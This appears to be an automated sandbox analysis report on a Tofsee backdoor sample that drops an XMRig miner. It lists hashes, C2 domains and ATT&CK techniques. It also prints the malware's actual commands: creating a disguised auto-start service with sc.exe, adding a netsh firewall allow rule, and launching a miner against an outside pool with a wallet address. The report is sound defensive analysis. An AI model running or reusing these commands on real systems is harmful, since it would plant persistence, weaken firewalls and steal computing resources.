Analysis

  • max time kernel
    145s
  • max time network
    179s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    03-12-2022 00:17

General

  • Target

    f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe

  • Size

    184KB

  • MD5

    2ddaf25c7e8b248d6b2f29e01b57a31f

  • SHA1

    0cc53cffa140f621a845ec4b27694f021f62279a

  • SHA256

    f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a

  • SHA512

    5c8b9bf106aedd69d578cd758c83190ae9cb366646eba5818371363c0cef08bc8c1ff14930083a6828f806fc527bf0dc7770309b16ec3d616219a210fc84e94e

  • SSDEEP

    3072:+3aGMPpSMeTJoG6+QW5ISOOyedlfcGPEfizxsr10Zw/WO4:/GMxMJoG6JHRu5+k

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe
    "C:\Users\Admin\AppData\Local\Temp\f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:908
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jxahyqpx\
      2⤵
        PID:2040
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tjpwbnrg.exe" C:\Windows\SysWOW64\jxahyqpx\
        2⤵
          PID:1924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jxahyqpx binPath= "C:\Windows\SysWOW64\jxahyqpx\tjpwbnrg.exe /d\"C:\Users\Admin\AppData\Local\Temp\f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jxahyqpx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1748
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jxahyqpx
          2⤵
          • Launches sc.exe
          PID:1920
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1604
      • C:\Windows\SysWOW64\jxahyqpx\tjpwbnrg.exe
        C:\Windows\SysWOW64\jxahyqpx\tjpwbnrg.exe /d"C:\Users\Admin\AppData\Local\Temp\f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1776
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1980
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2044

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\tjpwbnrg.exe
        Filesize

        11.2MB

        MD5

        fe951a01d5a59bb57986493d079e4a24

        SHA1

        e77fd76fff43bca4443b900099441c5575d00d49

        SHA256

        d285c3d32132eac2b70b6b33063b164dff2e173c9232df390efeaac0349cd097

        SHA512

        5d131703801bfe7de65d95344bd7b5a95bb61534d0c8a3c9555f9464e899327ed4ddea614e1265096ddaaa0d2a8f97ae3adf0ea40b81730bee25c8c9e938efaa

      • C:\Windows\SysWOW64\jxahyqpx\tjpwbnrg.exe
        Filesize

        11.2MB

        MD5

        fe951a01d5a59bb57986493d079e4a24

        SHA1

        e77fd76fff43bca4443b900099441c5575d00d49

        SHA256

        d285c3d32132eac2b70b6b33063b164dff2e173c9232df390efeaac0349cd097

        SHA512

        5d131703801bfe7de65d95344bd7b5a95bb61534d0c8a3c9555f9464e899327ed4ddea614e1265096ddaaa0d2a8f97ae3adf0ea40b81730bee25c8c9e938efaa

      • memory/908-56-0x000000000060D000-0x000000000061E000-memory.dmp
        Filesize

        68KB

      • memory/908-58-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/908-57-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/908-77-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/908-54-0x0000000075131000-0x0000000075133000-memory.dmp
        Filesize

        8KB

      • memory/908-76-0x000000000060D000-0x000000000061E000-memory.dmp
        Filesize

        68KB

      • memory/1604-75-0x0000000000000000-mapping.dmp
      • memory/1748-62-0x0000000000000000-mapping.dmp
      • memory/1776-72-0x000000000064D000-0x000000000065E000-memory.dmp
        Filesize

        68KB

      • memory/1776-74-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/1920-63-0x0000000000000000-mapping.dmp
      • memory/1924-59-0x0000000000000000-mapping.dmp
      • memory/1980-83-0x0000000000110000-0x0000000000116000-memory.dmp
        Filesize

        24KB

      • memory/1980-95-0x0000000000320000-0x0000000000327000-memory.dmp
        Filesize

        28KB

      • memory/1980-66-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1980-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1980-69-0x0000000000089A6B-mapping.dmp
      • memory/1980-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1980-80-0x00000000019B0000-0x0000000001BBF000-memory.dmp
        Filesize

        2.1MB

      • memory/1980-98-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1980-86-0x0000000000280000-0x0000000000290000-memory.dmp
        Filesize

        64KB

      • memory/1980-89-0x0000000000290000-0x0000000000295000-memory.dmp
        Filesize

        20KB

      • memory/1980-92-0x0000000005820000-0x0000000005C2B000-memory.dmp
        Filesize

        4.0MB

      • memory/2004-61-0x0000000000000000-mapping.dmp
      • memory/2040-55-0x0000000000000000-mapping.dmp
      • memory/2044-99-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/2044-101-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/2044-106-0x000000000027259C-mapping.dmp